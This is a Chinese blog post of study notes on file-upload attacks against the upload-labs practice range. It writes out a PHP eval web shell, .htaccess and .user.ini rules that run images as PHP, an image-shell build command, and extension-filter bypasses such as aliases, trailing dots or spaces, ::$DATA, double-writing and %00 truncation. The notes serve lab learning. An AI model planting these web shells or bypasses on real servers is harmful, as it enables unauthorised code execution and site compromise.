文件上传

Last updated on 6 months ago

文件上传

靶场:upload-labs

1
git clone https://github.com/Tj1ngwe1/upload-labs.git

在upload-labs目录下创建新目录upload

上传1.jpg,bp抓包,把1.jpg改成1.php,在content-type下另起一行

1
2
<?php @eval($_POST[x]);?>
//@ 加在函数前是取消报错强制执行,eval()是将括号内的字符串解析并执行,$_POST[x]是post传参赋值给x

content-type改为imag/png,原来的application/octet-stream是内容类型未知的意思

二.

.php可能被直接加黑名单,出现就禁止,选择更改为别名: php3 phtml等等

从这个图可以看出来,大小写也是绕过的一种方法(Php)

三.

上传.htaccess文件,让.jpg .png 等文件以php的方式运行(图片马运行原理)

1
2
.htaccess文件时apache的一种配置文件,可以写入一些规则(phpstudy新版的一键运行webserver打开的是nginx不是apache,就因为这个白忙活很久,nginx的静态页面是默认不允许post方式发送请求的,发post会显示405 not allow)
.htaccess文件前面不需要加名字
1
2
3
<FilesMatch "pass">      //pass是上传的文件名,例如pass.jpg
SetHandler application/x-httpd-php
</FilesMatch>

.htaccess配置

打开apache的httpd.conf文件,ctrl f 搜搜AllowOverride ,把null全改为All,允许.htaccess全局覆盖

图片马

直接在1.jpg文件内,以笔记本方式打开,写入一句话木马(有可能报错)

在cmd(不是powershell),

1
copy 1.jpg/b+1.php/a pass.jpg

生成图片马pass.jpg

.user.ini配置

.htaccess文件只能用于绕过apache,而且要求apache版本很低,而.user.ini则可以绕过绝大部分中间件(要求php的server api是FASTCGI,其这个跟.htaccess相反,这个要求php版本尽量高些)

1
2
3
GIF89a
auto_prepend_file=pass.jpg
//auto_append_file=pass.jpg 也行,pre是先执行图片马,ap是后执行

php.ini是php的总配置文件,而.user.ini是用户自己定义的.ini文件,具有一定的权限,这条代码是让pass.jpg被插入同目录下的任意一个(默认是index.php) .php文件解析并执行,所以想用.user.ini绕过就必须确定同目录下已经有.php文件,否则就没有了

四.

1
2
3
4
5
6
php的_FILLES类似$_POST  $_GET   $_COKKIE(获取返回cookie),都是php预制的超全局变量(以_开头,字母大写),是用来获取上传的文件的信息,预制了很多键名
name:上传文件的原始名称。
type:上传文件的 MIME 类型。
tmp_name:上传文件在服务器上的临时存储路径。
error:如果上传过程中出现错误,该值会指明错误代码。
size:上传文件的大小(以字节为单位)。
1
2
3
$file_name = trim($_FILES['upload_file']['name']);                /*上传的文件保存在$_FILES数组内,然后
$file_name = trim($_FILES['upload_file']['name']); $_FILES['upload_file']相当于提取上传的文件['name']是键名$_FILES['upload_file']['name']的内容就是键name的键值
*/

上传的文件名后缀不允许是.php 但如果.php后面加个空格 就允许上传,但是服务器解析时会自动删除空格,达到绕过的效果

常见限制函数

trim()

删除字符串两端所有空格

1
echo trim("  abc ");                   //结果是"abc"

strrchr()

string right most character 最右边开始的某个字符,一般用于提取文件后缀名,会输出索引及其后面的值,比如”.”是索引,输出就是.及之后的

1
echo strrchr("1.png",".");             //结果是.png

strtpos()

string right most position 会输出索引的位置

1
echo strrpos("abc","c");               //输出值为2,   0,1,2,从0开始

str_replace()

替换函数

1
2
3
4
$string = "Hello, world!";
$oldValue = "world";
$newValue = "everyone";
$result = str_replace($oldValue, $newValue, $string);

第一个位置是原有的(要被替换的),第二个是进行替换的,第三个是原来的字符串

五.空格绕过( )和点绕过(.)

原理:.php会被ban掉,但是.php 和.php.不会被ban掉,但是系统执行.php 和.php.时会自动去掉.和 继续执行文件,所以可以加以绕过

比如判断是先删空格再删点,那就可以”.php. .”删掉点后的” “和”.”会被自动忽视掉

upload的6.7.8.9都是这个思路

第八关这个思路也可以,但是之前的源代码相比于之前少了一行关于”::$DATA”的限制,所以这关用”::$DATA”也可以进行绕过

1
"1.php::$DATA"

六.双写绕过

有些规则可能是读取文件名,若存在php就直接删掉php而不是禁止上传,所以可以双写绕过

原理:pphphp,在删掉”php”后正好让其它的字符组成”php”

七.文件路径修改

第11关不再是黑名单,而是白名单,类似第一关,但是注意到抓包时第一行多了一个文件的上传路径,所以可以更改文件上传路径的后缀来修改,在添加1.php后紧接着加上%00,ascii值意思是null,有截断函数执行的效果

第12关也类似,但是把请求改为post请求,get会自动解码,post不会

1
convert selection --> URL --> URLdecode

改为get请求没有用

这里的很多坑

新版小皮面板

这个漏洞只要php版本<5.3才可以,但是新版小皮面板一下载php5.2.17就会显示网络不稳定不让下载,遂改为旧版

旧版

旧版小皮面板确实也有5.2.17,但是一直找不到更改php版本的选项,不过有php5.2.17版本的文件夹,所以直接ctrl cv到新版小皮的目录下

新版

在cv完文件后,在网站–>管理–>php版本初可以更改php版本,但是修改到5.2.17后,显示80端口被占用,并且在点击尝试关闭80端口后,把bp给关了,不过bp开了之后就可以正常用了

还有就是要选择magic_quotes_gpc()这个函数关闭,在php扩展里没找到,打开5.2.17目录下的php.ini,ctrl f搜索magic,发现是On,改成Off,收工

八.伪协议

php伪协议


文件上传
https://blog.yblue.top/2023/08/20/文件上传/
Posted on
August 20, 2023
Licensed under